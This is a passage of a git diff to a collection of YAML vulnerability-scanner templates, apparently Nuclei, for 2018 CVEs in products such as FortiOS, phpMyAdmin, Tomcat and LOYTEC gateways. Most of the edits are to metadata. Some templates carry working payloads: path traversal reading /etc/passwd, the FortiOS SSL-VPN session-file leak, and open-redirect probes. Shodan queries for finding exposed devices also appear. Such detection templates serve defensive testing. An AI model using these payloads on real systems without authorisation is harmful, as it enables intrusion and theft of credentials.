with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace. reference: - https://github.com/jas502n/St2-057 + - https://cwiki.apache.org/confluence/display/WW/S2-057 + - https://security.netapp.com/advisory/ntap-20180822-0001/ + - https://nvd.nist.gov/vuln/detail/CVE-2018-11776 classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2018-11776 cwe-id: CWE-20 - tags: cve,cve2018,apache,rce,struts + tags: cve,cve2018,apache,rce,struts,kev requests: - method: GET @@ -31,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/19 diff --git a/cves/2018/CVE-2018-11784.yaml b/cves/2018/CVE-2018-11784.yaml index ffd44dba23..32c6ca3011 100644 --- a/cves/2018/CVE-2018-11784.yaml +++ b/cves/2018/CVE-2018-11784.yaml @@ -8,22 +8,25 @@ info: reference: - https://lists.apache.org/thread.html/23134c9b5a23892a205dc140cdd8c9c0add233600f76b313dda6bd75@%3Cannounce.tomcat.apache.org%3E - https://nvd.nist.gov/vuln/detail/CVE-2018-11784 + - http://web.archive.org/web/20210509082244/https://www.securityfocus.com/bid/105524 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N cvss-score: 4.3 cve-id: CVE-2018-11784 cwe-id: CWE-601 + metadata: + shodan-query: title:"Apache Tomcat" tags: tomcat,redirect,cve,cve2018,apache requests: - method: GET path: - - "{{BaseURL}}//example.com" + - "{{BaseURL}}//interact.sh" matchers: - type: regex regex: - - "(?m)^(L|l)ocation: (((http|https):)?//(www.)?)?example.com" + - "(?m)^(L|l)ocation: (((http|https):)?//(www.)?)?interact.sh" part: header # Enhanced by mp on 2022/04/26 diff --git a/cves/2018/CVE-2018-12031.yaml b/cves/2018/CVE-2018-12031.yaml index 4e98b1fb1d..64ec20de3a 100644 --- a/cves/2018/CVE-2018-12031.yaml +++ b/cves/2018/CVE-2018-12031.yaml @@ -14,7 +14,7 @@ info: cvss-score: 9.8 cve-id: CVE-2018-12031 cwe-id: CWE-22 - tags: cve,cve2018,lfi + tags: edb,cve,cve2018,lfi requests: - method: GET diff --git a/cves/2018/CVE-2018-12054.yaml b/cves/2018/CVE-2018-12054.yaml index 6624343c0d..596bee81e4 100644 --- a/cves/2018/CVE-2018-12054.yaml +++ b/cves/2018/CVE-2018-12054.yaml @@ -4,16 +4,18 @@ info: name: Schools Alert Management Script - Arbitrary File Read author: wisnupramoedya severity: high - description: "Schools Alert Management Script is susceptible to an arbitrary file read vulnerability via the f parameter in img.php, aka absolute path traversal." + description: Schools Alert Management Script is susceptible to an arbitrary file read vulnerability via the f parameter in img.php, aka absolute path traversal. reference: - https://www.exploit-db.com/exploits/44874 - https://nvd.nist.gov/vuln/detail/CVE-2018-12054 + - https://github.com/unh3x/just4cve/issues/4 + - https://www.exploit-db.com/exploits/44874/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-12054 cwe-id: CWE-22 - tags: cve,cve2018,lfi + tags: cve,cve2018,lfi,edb requests: - method: GET diff --git a/cves/2018/CVE-2018-1207.yaml b/cves/2018/CVE-2018-1207.yaml index 62b9881bd4..8a89ac6be8 100644 --- a/cves/2018/CVE-2018-1207.yaml +++ b/cves/2018/CVE-2018-1207.yaml @@ -12,6 +12,7 @@ info: - https://downloads.dell.com/solutions/dell-management-solution-resources/iDRAC_CVE%201207_1211_1000116.pdf - https://github.com/KraudSecurity/Exploits/blob/master/CVE-2018-1207/CVE-2018-1207.py - https://nvd.nist.gov/vuln/detail/CVE-2018-1207 + - http://en.community.dell.com/techcenter/extras/m/white_papers/20485410 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 diff --git a/cves/2018/CVE-2018-12095.yaml b/cves/2018/CVE-2018-12095.yaml index cd09108f78..5f70dc983b 100644 --- a/cves/2018/CVE-2018-12095.yaml +++ b/cves/2018/CVE-2018-12095.yaml @@ -4,17 +4,18 @@ info: name: OEcms 3.1 - Cross-Site Scripting author: LogicalHunter severity: medium - description: A Reflected Cross-Site Scripting web vulnerability has been discovered in the OEcms v3.1 web-application. The vulnerability is located in the mod parameter of info.php. + description: OEcms 3.1 is vulnerable to reflected cross-site scripting via the mod parameter of info.php. reference: - https://www.exploit-db.com/exploits/44895 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12095 - https://cxsecurity.com/issue/WLB-2018060092 + - https://nvd.nist.gov/vuln/detail/CVE-2018-12095 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2018-12095 cwe-id: CWE-79 - tags: cve,cve2018,xss + tags: cve,cve2018,xss,edb requests: - method: GET @@ -36,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2018/CVE-2018-12296.yaml b/cves/2018/CVE-2018-12296.yaml index 02f94c31e4..71cbb2f3d7 100644 --- a/cves/2018/CVE-2018-12296.yaml +++ b/cves/2018/CVE-2018-12296.yaml @@ -4,7 +4,7 @@ info: name: Seagate NAS OS 4.3.15.1 - Server Information Disclosure author: princechaddha severity: high - description: Insufficient access control in /api/external/7.0/system.System.get_infos in Seagate NAS OS version 4.3.15.1 allows attackers to obtain information about the NAS without authentication via empty POST requests. + description: Seagate NAS OS version 4.3.15.1 has insufficient access control which allows attackers to obtain information about the NAS without authentication via empty POST requests in /api/external/7.0/system.System.get_infos. reference: - https://blog.securityevaluators.com/invading-your-personal-cloud-ise-labs-exploits-the-seagate-stcr3000101-ecf89de2170 - https://nvd.nist.gov/vuln/detail/CVE-2018-12296 @@ -36,3 +36,5 @@ requests: group: 1 regex: - '"version": "([0-9.]+)"' + +# Enhanced by mp on 2022/07/05 diff --git a/cves/2018/CVE-2018-12300.yaml b/cves/2018/CVE-2018-12300.yaml index 53736ed55a..300570d436 100644 --- a/cves/2018/CVE-2018-12300.yaml +++ b/cves/2018/CVE-2018-12300.yaml @@ -9,7 +9,7 @@ info: - https://blog.securityevaluators.com/invading-your-personal-cloud-ise-labs-exploits-the-seagate-stcr3000101-ecf89de2170 - https://www.cvedetails.com/cve/CVE-2018-12300 classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-12300 cwe-id: CWE-601 @@ -19,10 +19,10 @@ requests: - method: GET path: - - '{{BaseURL}}/echo-server.html?code=test&state=http://www.attacker.com#' + - '{{BaseURL}}/echo-server.html?code=test&state=http://www.interact.sh#' matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)attacker\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/cves/2018/CVE-2018-12613.yaml b/cves/2018/CVE-2018-12613.yaml index 32dcc6ca98..2391066bf6 100644 --- a/cves/2018/CVE-2018-12613.yaml +++ b/cves/2018/CVE-2018-12613.yaml @@ -1,20 +1,22 @@ id: CVE-2018-12613 info: - name: PhpMyAdmin 4.8.1 Remote File Inclusion + name: PhpMyAdmin <4.8.2 - Local File Inclusion author: pikpikcu severity: high - description: An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages - are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify - any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication). + description: PhpMyAdmin before version 4.8.2 is susceptible to local file inclusion that allows an attacker to include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication). reference: - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613 + - https://www.phpmyadmin.net/security/PMASA-2018-4/ + - https://www.exploit-db.com/exploits/44928/ + - http://web.archive.org/web/20210124181726/https://www.securityfocus.com/bid/104532/ + - https://nvd.nist.gov/vuln/detail/CVE-2018-12613 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2018-12613 cwe-id: CWE-287 - tags: cve,cve2018,phpmyadmin,lfi + tags: vulhub,edb,cve,cve2018,phpmyadmin,lfi requests: - method: GET @@ -32,3 +34,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2018/CVE-2018-12634.yaml b/cves/2018/CVE-2018-12634.yaml index edc2910da7..85573f2681 100644 --- a/cves/2018/CVE-2018-12634.yaml +++ b/cves/2018/CVE-2018-12634.yaml @@ -8,12 +8,14 @@ info: reference: - https://circontrol.com/ - https://nvd.nist.gov/vuln/detail/CVE-2018-12634 + - https://www.seebug.org/vuldb/ssvid-97353 + - https://www.exploit-db.com/exploits/45384/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-12634 cwe-id: CWE-200 - tags: cve,cve2018,scada,circontrol,circarlife,logs + tags: cve,cve2018,scada,circontrol,circarlife,logs,edb requests: - method: GET diff --git a/cves/2018/CVE-2018-12675.yaml b/cves/2018/CVE-2018-12675.yaml new file mode 100644 index 0000000000..b2311e0466 --- /dev/null +++ b/cves/2018/CVE-2018-12675.yaml @@ -0,0 +1,32 @@ +id: CVE-2018-12675 + +info: + name: SV3C HD Camera L-SERIES - Open Redirect + author: 0x_Akoko + severity: medium + description: | + The SV3C HD Camera (L-SERIES V2.3.4.2103-S50-NTD-B20170508B and V2.3.4.2103-S50-NTD-B20170823B) does not perform origin checks on URLs that the camera's web interface redirects a user to. This can be leveraged to send a user to an unexpected endpoint. + reference: + - https://bishopfox.com/blog/sv3c-l-series-hd-camera-advisory + - https://vuldb.com/?id.125799 + - https://nvd.nist.gov/vuln/detail/CVE-2018-12675 + - https://www.bishopfox.com/news/2018/10/sv3c-l-series-hd-camera-multiple-vulnerabilities/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-12675 + cwe-id: CWE-601 + metadata: + verified: "true" + tags: cve,cve2018,redirect,sv3c,camera,iot + +requests: + - method: GET + path: + - '{{BaseURL}}/web/cgi-bin/hi3510/param.cgi?cmd=setmobilesnapattr&cururl=http%3A%2F%2Finteract.sh' + + matchers: + - type: word + part: body + words: + - '' diff --git a/cves/2018/CVE-2018-1271.yaml b/cves/2018/CVE-2018-1271.yaml index 1f85364ab7..7df75285eb 100644 --- a/cves/2018/CVE-2018-1271.yaml +++ b/cves/2018/CVE-2018-1271.yaml @@ -1,16 +1,18 @@ id: CVE-2018-1271 info: - name: Spring MVC Directory Traversal Vulnerability + name: Spring MVC Framework - Local File Inclusion author: hetroublemakr severity: medium - description: Spring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported versions, allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). - When static resources are served from a file system on Windows (as opposed to the classpath, or the ServletContext), a malicious user can send a request using a specially crafted URL that can lead a directory - traversal attack. + description: Spring MVC Framework versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported are vulnerable to local file inclusion because they allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). A malicious user can send a request using a specially crafted URL that can lead a directory traversal attack. reference: - https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d + - https://pivotal.io/security/cve-2018-1271 + - http://web.archive.org/web/20210518132800/https://www.securityfocus.com/bid/103699 + - https://access.redhat.com/errata/RHSA-2018:1320 + - https://nvd.nist.gov/vuln/detail/CVE-2018-1271 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 5.9 cve-id: CVE-2018-1271 cwe-id: CWE-22 @@ -29,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/cves/2018/CVE-2018-1273.yaml b/cves/2018/CVE-2018-1273.yaml index 657424e411..8b3a4dd942 100644 --- a/cves/2018/CVE-2018-1273.yaml +++ b/cves/2018/CVE-2018-1273.yaml @@ -13,12 +13,14 @@ info: or using Spring Data's projection-based request payload binding hat can lead to a remote code execution attack. reference: - https://nvd.nist.gov/vuln/detail/CVE-2018-1273 + - https://pivotal.io/security/cve-2018-1273 + - http://mail-archives.apache.org/mod_mbox/ignite-dev/201807.mbox/%3CCAK0qHnqzfzmCDFFi6c5Jok19zNkVCz5Xb4sU%3D0f2J_1i4p46zQ%40mail.gmail.com%3E classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-1273 cwe-id: CWE-20 - tags: cve,cve2018,vmware,rce,spring + tags: cve,cve2018,vmware,rce,spring,kev requests: - raw: diff --git a/cves/2018/CVE-2018-12998.yaml b/cves/2018/CVE-2018-12998.yaml index 59dc289d29..58fcddbf81 100644 --- a/cves/2018/CVE-2018-12998.yaml +++ b/cves/2018/CVE-2018-12998.yaml @@ -1,10 +1,10 @@ id: CVE-2018-12998 info: - name: Zoho manageengine Arbitrary Reflected XSS + name: Zoho manageengine - Cross-Site Scripting author: pikpikcu severity: medium - description: A reflected Cross-site scripting (XSS) vulnerability in Zoho ManageEngine Netflow Analyzer before build 123137, Network Configuration Manager before build 123128, OpManager before build 123148, OpUtils before build 123161, and Firewall Analyzer before build 123147 allows remote attackers to inject arbitrary web script or HTML via the parameter 'operation' to /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet. + description: Zoho manageengine is vulnerable to reflected cross-site scripting. This impacts Zoho ManageEngine Netflow Analyzer before build 123137, Network Configuration Manager before build 123128, OpManager before build 123148, OpUtils before build 123161, and Firewall Analyzer before build 123147 via the parameter 'operation' to /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet. reference: - https://github.com/unh3x/just4cve/issues/10 - http://packetstormsecurity.com/files/148635/Zoho-ManageEngine-13-13790-build-XSS-File-Read-File-Deletion.html @@ -14,7 +14,7 @@ info: cvss-score: 6.1 cve-id: CVE-2018-12998 cwe-id: CWE-79 - tags: cve,cve2018,zoho,xss,manageengine + tags: cve,cve2018,zoho,xss,manageengine,packetstorm requests: - method: GET @@ -37,3 +37,5 @@ requests: part: header words: - text/html + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2018/CVE-2018-1335.yaml b/cves/2018/CVE-2018-1335.yaml index 4522abd071..59d3a5810f 100644 --- a/cves/2018/CVE-2018-1335.yaml +++ b/cves/2018/CVE-2018-1335.yaml @@ -1,19 +1,22 @@ id: CVE-2018-1335 info: - name: Apache Tika 1.15-1.17 Header Command Injection + name: Apache Tika <1.1.8- Header Command Injection author: pikpikcu severity: high - description: From Apache Tika versions 1.7 to 1.17, clients could send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This - vulnerability only affects those running tika-server on a server that is open to untrusted clients. The mitigation is to upgrade to Tika 1.18. + description: Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients. reference: - https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ - https://www.exploit-db.com/exploits/47208 + - https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E + - http://web.archive.org/web/20210516175956/https://www.securityfocus.com/bid/104001 + - https://nvd.nist.gov/vuln/detail/CVE-2018-1335 + remediation: Upgrade to Tika 1.18. classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2018-1335 - tags: cve,cve2018,apache,tika,rce + tags: edb,cve,cve2018,apache,tika,rce requests: - method: PUT @@ -45,3 +48,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/07 diff --git a/cves/2018/CVE-2018-13379.yaml b/cves/2018/CVE-2018-13379.yaml index 3ad6d6e608..2b87621918 100644 --- a/cves/2018/CVE-2018-13379.yaml +++ b/cves/2018/CVE-2018-13379.yaml @@ -14,15 +14,19 @@ info: cvss-score: 9.8 cve-id: CVE-2018-13379 cwe-id: CWE-22 - tags: cve,cve2018,fortios + metadata: + verified: true + shodan-query: http.html:"/remote/login" "xxxxxxxx" + tags: cve,cve2018,fortios,lfi,kev requests: - method: GET path: - "{{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" - matchers: - - type: word - words: - - "var fgt_lang" + matchers: + - type: regex + part: body + regex: + - '^var fgt_lang =' # Enhanced by mp on 2022/05/12 diff --git a/cves/2018/CVE-2018-13380.yaml b/cves/2018/CVE-2018-13380.yaml index c2020b28fa..d40b209981 100644 --- a/cves/2018/CVE-2018-13380.yaml +++ b/cves/2018/CVE-2018-13380.yaml @@ -1,14 +1,15 @@ id: CVE-2018-13380 info: - name: Fortinet FortiOS Cross-Site Scripting + name: Fortinet FortiOS - Cross-Site Scripting author: shelld3v,AaronChen0 severity: medium - description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized - malicious script code via the error or message handling parameters. + description: Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal are vulnerable to cross-site scripting and allows attacker to execute unauthorized malicious script code via the error or message handling parameters. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2018-13380 - https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html + - https://fortiguard.com/advisory/FG-IR-18-383 + - https://fortiguard.com/advisory/FG-IR-20-230 + - https://nvd.nist.gov/vuln/detail/CVE-2018-13380 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 @@ -40,3 +41,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2018/CVE-2018-13980.yaml b/cves/2018/CVE-2018-13980.yaml index 9d12a07112..c116c9f866 100644 --- a/cves/2018/CVE-2018-13980.yaml +++ b/cves/2018/CVE-2018-13980.yaml @@ -1,19 +1,21 @@ id: CVE-2018-13980 info: - name: Zeta Producer Desktop CMS 14.2.0 - Arbitrary File Retrieval + name: Zeta Producer Desktop CMS <14.2.1 - Local File Inclusion author: wisnupramoedya severity: medium - description: The websites that were built from Zeta Producer Desktop CMS before 14.2.1 are vulnerable to unauthenticated file disclosure if the plugin "filebrowser" is installed, because of assets/php/filebrowser/filebrowser.main.php?file=../ directory traversal. + description: Zeta Producer Desktop CMS before 14.2.1 is vulnerable to local file inclusion if the plugin "filebrowser" is installed because of assets/php/filebrowser/filebrowser.main.php?file=../ directory traversal. reference: - https://www.exploit-db.com/exploits/45016 + - https://www.sec-consult.com/en/blog/advisories/remote-code-execution-local-file-disclosure-zeta-producer-desktop-cms/ + - http://packetstormsecurity.com/files/148537/Zeta-Producer-Desktop-CMS-14.2.0-Code-Execution-File-Disclosure.html - https://nvd.nist.gov/vuln/detail/CVE-2018-13980 classification: cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N cvss-score: 5.5 cve-id: CVE-2018-13980 cwe-id: CWE-22 - tags: cve,cve2018,lfi + tags: cve,cve2018,lfi,edb,packetstorm requests: - method: GET @@ -30,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/cves/2018/CVE-2018-14013.yaml b/cves/2018/CVE-2018-14013.yaml index e0f1bf8f5f..4c0dc25d55 100644 --- a/cves/2018/CVE-2018-14013.yaml +++ b/cves/2018/CVE-2018-14013.yaml @@ -1,11 +1,14 @@ id: CVE-2018-14013 info: - name: Zimbra XSS + name: Synacor Zimbra Collaboration Suite Collaboration <8.8.11 - Cross-Site Scripting author: pikpikcu severity: medium - description: Synacor Zimbra Collaboration Suite Collaboration before 8.8.11 has XSS in the AJAX and html web clients. + description: Synacor Zimbra Collaboration Suite Collaboration before 8.8.11 is vulnerable to cross-site scripting via the AJAX and html web clients. reference: + - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories + - https://bugzilla.zimbra.com/show_bug.cgi?id=109018 + - https://bugzilla.zimbra.com/show_bug.cgi?id=109017 - https://nvd.nist.gov/vuln/detail/CVE-2018-14013 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -34,3 +37,5 @@ requests: part: header words: - text/html + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2018/CVE-2018-14064.yaml b/cves/2018/CVE-2018-14064.yaml index d8cf45f3a7..d981199492 100644 --- a/cves/2018/CVE-2018-14064.yaml +++ b/cves/2018/CVE-2018-14064.yaml @@ -14,7 +14,7 @@ info: cvss-score: 9.8 cve-id: CVE-2018-14064 cwe-id: CWE-22 - tags: cve,cve2018,lfi,camera,iot + tags: edb,cve,cve2018,lfi,camera,iot requests: - method: GET diff --git a/cves/2018/CVE-2018-14474.yaml b/cves/2018/CVE-2018-14474.yaml new file mode 100644 index 0000000000..65e39bbcda --- /dev/null +++ b/cves/2018/CVE-2018-14474.yaml @@ -0,0 +1,32 @@ +id: CVE-2018-14474 + +info: + name: OrangeForum 1.4.0 - Open Redirect + author: 0x_Akoko + severity: medium + description: | + views/auth.go in Orange Forum 1.4.0 allows Open Redirection via the next parameter to /login or /signup. + reference: + - https://github.com/s-gv/orangeforum/commit/1f6313cb3a1e755880fc1354f3e1efc4dd2dd4aa + - https://seclists.org/fulldisclosure/2019/Jan/32 + - https://vuldb.com/?id.122045 + - https://nvd.nist.gov/vuln/detail/CVE-2018-14474 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-14474 + cwe-id: CWE-601 + tags: cve2018,redirect,orangeforum,oss,seclists,cve + +requests: + - method: GET + path: + - '{{BaseURL}}/login?next=http://interact.sh/?app.scan/' + - '{{BaseURL}}/signup?next=http://interact.sh/?app.scan/' + + stop-at-first-match: true + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/cves/2018/CVE-2018-14574.yaml b/cves/2018/CVE-2018-14574.yaml index 1ae3602c19..97cad4590b 100644 --- a/cves/2018/CVE-2018-14574.yaml +++ b/cves/2018/CVE-2018-14574.yaml @@ -8,9 +8,9 @@ info: reference: - https://www.djangoproject.com/weblog/2018/aug/01/security-releases/ - https://usn.ubuntu.com/3726-1/ - - http://www.securitytracker.com/id/1041403 + - http://web.archive.org/web/20211206044224/https://securitytracker.com/id/1041403 - https://www.debian.org/security/2018/dsa-4264 - - http://www.securityfocus.com/bid/104970 + - http://web.archive.org/web/20210124194607/https://www.securityfocus.com/bid/104970/ - https://access.redhat.com/errata/RHSA-2019:0265 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -22,7 +22,7 @@ info: requests: - method: GET path: - - "{{BaseURL}}//www.example.com" + - "{{BaseURL}}//www.interact.sh" matchers-condition: and matchers: @@ -31,6 +31,6 @@ requests: - 301 - type: word words: - - "Location: https://www.example.com" - - "Location: http://www.example.com" + - "Location: https://www.interact.sh" + - "Location: http://www.interact.sh" part: header diff --git a/cves/2018/CVE-2018-14728.yaml b/cves/2018/CVE-2018-14728.yaml index ab3eb88100..7b0b0a9847 100644 --- a/cves/2018/CVE-2018-14728.yaml +++ b/cves/2018/CVE-2018-14728.yaml @@ -14,7 +14,7 @@ info: cvss-score: 9.8 cve-id: CVE-2018-14728 cwe-id: CWE-918 - tags: cve,cve2018,ssrf,lfi + tags: cve,cve2018,ssrf,lfi,packetstorm,edb requests: - method: POST diff --git a/cves/2018/CVE-2018-14912.yaml b/cves/2018/CVE-2018-14912.yaml index 97f7804fd0..ccb43cade4 100644 --- a/cves/2018/CVE-2018-14912.yaml +++ b/cves/2018/CVE-2018-14912.yaml @@ -3,11 +3,13 @@ id: CVE-2018-14912 info: name: cgit < 1.2.1 Directory Traversal author: 0x_Akoko - severity: critical + severity: high description: cGit < 1.2.1 via cgit_clone_objects has a directory traversal vulnerability when `enable-http-clone=1` is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request. reference: - https://cxsecurity.com/issue/WLB-2018080034 - https://nvd.nist.gov/vuln/detail/CVE-2018-14912 + - https://lists.zx2c4.com/pipermail/cgit/2018-August/004176.html + - https://bugs.chromium.org/p/project-zero/issues/detail?id=1627 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 diff --git a/cves/2018/CVE-2018-14916.yaml b/cves/2018/CVE-2018-14916.yaml index e4673b98bb..c3c07b6c0c 100644 --- a/cves/2018/CVE-2018-14916.yaml +++ b/cves/2018/CVE-2018-14916.yaml @@ -8,12 +8,14 @@ info: reference: - https://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html - https://nvd.nist.gov/vuln/detail/CVE-2018-14916 + - http://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html + - https://seclists.org/fulldisclosure/2019/Apr/12 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - cvss-score: 9.4 + cvss-score: 9.1 cve-id: CVE-2018-14916 cwe-id: CWE-732 - tags: cve,cve2018,loytec,lfi + tags: cve2018,loytec,lfi,packetstorm,seclists,cve requests: - method: GET diff --git a/cves/2018/CVE-2018-14918.yaml b/cves/2018/CVE-2018-14918.yaml new file mode 100644 index 0000000000..4c75905015 --- /dev/null +++ b/cves/2018/CVE-2018-14918.yaml @@ -0,0 +1,39 @@ +id: CVE-2018-14918 + +info: + name: LOYTEC LGATE-902 6.3.2 - Local File Inclusion + author: 0x_Akoko + severity: high + description: | + LOYTEC LGATE-902 6.3.2 is susceptible to local file inclusion which could allow an attacker to manipulate path references and access files and directories (including critical system files) that are stored outside the root folder of the web application running on the device. This can be used to read and configuration files containing, e.g., usernames and passwords. + reference: + - https://seclists.org/fulldisclosure/2019/Apr/12 + - http://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html + - https://nvd.nist.gov/vuln/detail/CVE-2018-14918 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-14918 + cwe-id: CWE-22 + metadata: + shodan-query: http.html:"LGATE-902" + verified: "true" + tags: loytec,lfi,seclists,packetstorm,cve,cve2018,lgate + +requests: + - method: GET + path: + - "{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/07 diff --git a/cves/2018/CVE-2018-14931.yaml b/cves/2018/CVE-2018-14931.yaml index 8ebe30174c..884a14b46c 100644 --- a/cves/2018/CVE-2018-14931.yaml +++ b/cves/2018/CVE-2018-14931.yaml @@ -3,13 +3,13 @@ id: CVE-2018-14931 info: name: Polarisft Intellect Core Banking Software Version 9.7.1 - Open Redirect author: 0x_Akoko - severity: low - description: "Polarisft Intellect Core Banking Software Version 9.7.1 is susceptible to an open redirect issue in the Core and Portal modules via the /IntellectMain.jsp?IntellectSystem= URI." + severity: medium + description: Polarisft Intellect Core Banking Software Version 9.7.1 is susceptible to an open redirect issue in the Core and Portal modules via the /IntellectMain.jsp?IntellectSystem= URI. reference: - https://neetech18.blogspot.com/2019/03/polaris-intellect-core-banking-software_31.html - 